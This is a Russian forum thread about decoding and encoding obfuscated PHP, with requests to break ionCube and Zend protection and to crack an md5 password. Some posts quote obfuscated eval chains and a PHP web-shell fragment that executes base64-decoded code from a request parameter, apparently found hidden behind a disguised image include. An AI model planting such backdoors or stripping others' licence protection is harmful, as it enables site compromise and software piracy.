Обфускация кода (вопросы, просьбы зашифровать/расшифровать скрипт )

Discussion in 'PHP' started by Sharky, 29 Sep 2009.

  1. Genk0

    Genk0 New Member

    Joined:
    20 May 2012
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    PHP Obfuscator by DX 1.5
    Подскажите пожалуйста, как можно раскодировать?!
    вот пример http://pastebin.com/s9yc8fNR
     
  2. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    Берешь руками и раскодируешь. Абсолютно никаких проблем, если знаешь пхп.
     
    _________________________
  3. Genk0

    Genk0 New Member

    Joined:
    20 May 2012
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Ну, для кого то это как два клика о блокнот, а для кого то сложнее) Вот и прошу более развернутый ответ.
     
  4. blacksuccess

    blacksuccess New Member

    Joined:
    12 Jan 2012
    Messages:
    0
    Likes Received:
    2
    Reputations:
    0
    Здравствуйте! Помогите, пожалуйста, расшифровать php скрипт - http://pastebin.com/0hu1SF22
     
  5. chuna

    chuna New Member

    Joined:
    2 Apr 2013
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
    декодировать PHP и поиск и трещины md5 пас, мы можем?
    http://pastebin.com/raw.php?i=Q1CZ97wV
     
  6. Sentenc1a

    Sentenc1a New Member

    Joined:
    17 Aug 2011
    Messages:
    3
    Likes Received:
    1
    Reputations:
    1
    Кто знает как обстоят дела с декриптом ioncube?

    Возможно в наше время найти декодер под ioncube?

    Говорят, что китай лучший в этом деле. Так ли это?
    (У меня есть дезендер, остался со времен жизни вебхак, если память не изменяет китай его делал)

    Может кто встречал ссылки на китай форумах?
     
    #846 Sentenc1a, 23 May 2014
    Last edited: 23 May 2014
  7. PoliGroS

    PoliGroS Member

    Joined:
    29 Mar 2012
    Messages:
    79
    Likes Received:
    8
    Reputations:
    0
    Помогите расшифровать

    чем запаковано?

    ps это не простой код-))
     
  8. FunOfGun

    FunOfGun Elder - Старейшина

    Joined:
    5 Sep 2012
    Messages:
    388
    Likes Received:
    72
    Reputations:
    124
    http://pastebin.com/FUFRNw2N
     
  9. Мужик™

    Мужик™ New Member

    Joined:
    14 Jun 2012
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    Расшифровка кода

    Подскажите чем расшифровать

    PHP:
    $a50265f18b2a90=str_rot13('tmhapbzcerff');
    $a50265f18b2a95=str_rot13(strrev('rqbprq_46rfno'));
    eval(
    $a50265f18b2a90($a50265f18b2a95('eF5Tcffxd3L0CY5Wjzc0NLQ0MTW1sLSIV4+1dSwqSqzU0LQGAJDECMg=')));  
    eval(
    $a50265f18b2a90($a50265f18b2a95('eF4NysEKgjAAANBf8TBQb7aVKdJBaEiwdShDNELmtnAhE9bmqOjf653f3Wlu1ayDHmUJTNMk20ZAxR/AdqUx7BWFBHUjVzkSiC+DPhq6P1haY0/feEXq0hN4GkWFF/EfBGLbwnEamunRNt5xfVnYOfesoY5XGx3GhZHWGR0M7CnTdS8kn4WMALsCdYuL7w/60S8a')));
    eval(
    $a50265f18b2a90($a50265f18b2a95('eF7LzEvOKU1Jjc/PS07ViDe2MDAyMzOwMNcw0NS0BgCLtwgt')));
     
  10. GAiN

    GAiN Elder - Старейшина

    Joined:
    2 Apr 2011
    Messages:
    2,550
    Likes Received:
    172
    Reputations:
    99
    как зашифровать php код ?, что бы скопировать его было нельзя (оригинал) из файла php открыв его редактором, но на сервере он мог расшифровываться и работать
     
  11. madhatter

    madhatter Member

    Joined:
    7 Aug 2013
    Messages:
    562
    Likes Received:
    50
    Reputations:
    54
    Руками.

    include_once('/var/www/nsk02-110315-00/data/www/a-chemical.ru/i/pic.png')

    В этом файле у вас находится дважды кодированный список функций:
    Code:
    array_key_exists
    array_merge
    array_shift
    base64_decode
    base64_encode
    chmod
    clearstatcache
    count
    curl_close
    curl_exec
    curl_init
    curl_setopt
    define
    defined
    dirname
    error_reporting
    explode
    fclose
    feof
    fgets
    filectime
    file_get_contents
    filemtime
    filesize
    flock
    fopen
    fputs
    fread
    fsockopen
    function_exists
    fwrite
    getenv
    get_magic_quotes_runtime
    gmstrftime
    gzdeflate
    gzinflate
    implode
    in_array
    ini_get
    ini_set
    is_array
    is_file
    is_numeric
    is_writable
    md5
    preg_replace
    preg_replace_callback
    rand
    rawurldecode
    setcookie
    set_magic_quotes_runtime
    strlen
    strpos
    str_replace
    strtolower
    strtoupper
    substr
    time
    touch
    unserialize
    
    Выполняются они первым скриптов из get-запроса.
     
  12. Мужик™

    Мужик™ New Member

    Joined:
    14 Jun 2012
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    дашь исходный код? я не понял даже что ты написал.. :confused:
     
  13. qw1mb1

    qw1mb1 Member

    Joined:
    8 Feb 2013
    Messages:
    113
    Likes Received:
    16
    Reputations:
    8
    например делать проверку в самом скрипте на запуск на определенном хосте, а потом сам скрипт прогнать через обфускатор
     
  14. vipmastera

    vipmastera New Member

    Joined:
    22 Mar 2013
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    dezend index.php

    Товарищи! Пробовал все дезендеры которые только нашел. Ну никак.
    Помогите плиз, очень нужно!

    Файл https://yadi.sk/d/gKHKklpZWxKjg
     
  15. 0x61

    0x61 Banned

    Joined:
    13 Aug 2011
    Messages:
    1
    Likes Received:
    19
    Reputations:
    35
    include_once('/var/www/nsk02-110315-00/data/www/a-chemical.ru/i/pic.png')

    это и есть код, смотри что в картинке этой, там продолжение
     
  16. madhatter

    madhatter Member

    Joined:
    7 Aug 2013
    Messages:
    562
    Likes Received:
    50
    Reputations:
    54
    Там только обфусцированный в два этапа список функций, который дергается по запросу как раз в первом скрипте, которые по настоятельной просьбе был передан запостившему.
     
  17. Мужик™

    Мужик™ New Member

    Joined:
    14 Jun 2012
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    Сделал замену eval на echo, потом расшифровал basa64 получил
    PHP:
    include_once('/home/user/domains/site.com/public_html/i/pic.png');
    Но такой картинки у меня нет pic.png, думаю дописать проблем не возникнет, спасибо за помощь.
     
    #857 Мужик™, 21 Jul 2014
    Last edited: 21 Jul 2014
  18. PoliGroS

    PoliGroS Member

    Joined:
    29 Mar 2012
    Messages:
    79
    Likes Received:
    8
    Reputations:
    0
    Начало кода
    Code:
    
    ?php
    $_f___f='base'.(32*2).'_de'.'code';
    if((md5($_REQUEST["img_id"]) == "ae6d32585ecc4d33cb8cd68a047d8434")
            && isset($_REQUEST["mod_content"]))
            { eval($_f___f($_REQUEST["mod_content"])); exit(); }
     
     
    $_f___f=$_f___f(str_replace("\n", '',
     
            'P7FB3AybFxmRoovQsw9XvisJsIs58
    
     
  19. ex3me

    ex3me Member

    Joined:
    7 Jan 2009
    Messages:
    0
    Likes Received:
    63
    Reputations:
    0
    поделитесь инфой, как снимается Obfuscator by DX 1.5?
    pastebin.com/1HyhVYkX
     
  20. djinn11

    djinn11 New Member

    Joined:
    24 Jan 2011
    Messages:
    11
    Likes Received:
    0
    Reputations:
    0
    Здравствуйте. Есть скрипт на php, в одном из файлов потребовалось изменить кое что, это парсинг текста и запись в базу как урл...
    Сайт в кодировке utf-8, база тоже самое... в итоге ссылка записывается вместо например - Япония, записывает как - %D0%AF%D0%BF%D0%BE%D0%BD%D0%B8%D1%8F
    Мне очень надо сделать что бы вместо символов были русские символы и в чпу и в статье в момент записи в базу... и еще изменить формирование урл ссылок на теги(адрес)...

    Так вот теперь самое главное, файл который обрабатывает все это дело, закодирован в ioncub, я его раскодировал, но там нарушился синтаксис, в общем перестал работать, а я в пшп вообще не понимаю...
    Найдутся ли люди которые помогут мне привести код скрипта в рабочее состояние после декодирования..?
    Может ли кто помочь восстановить правильный синтаксис после декодирования деионкубом..?
    Скрипт чужой и закрытый, по этому если кто согласится, скину в личку.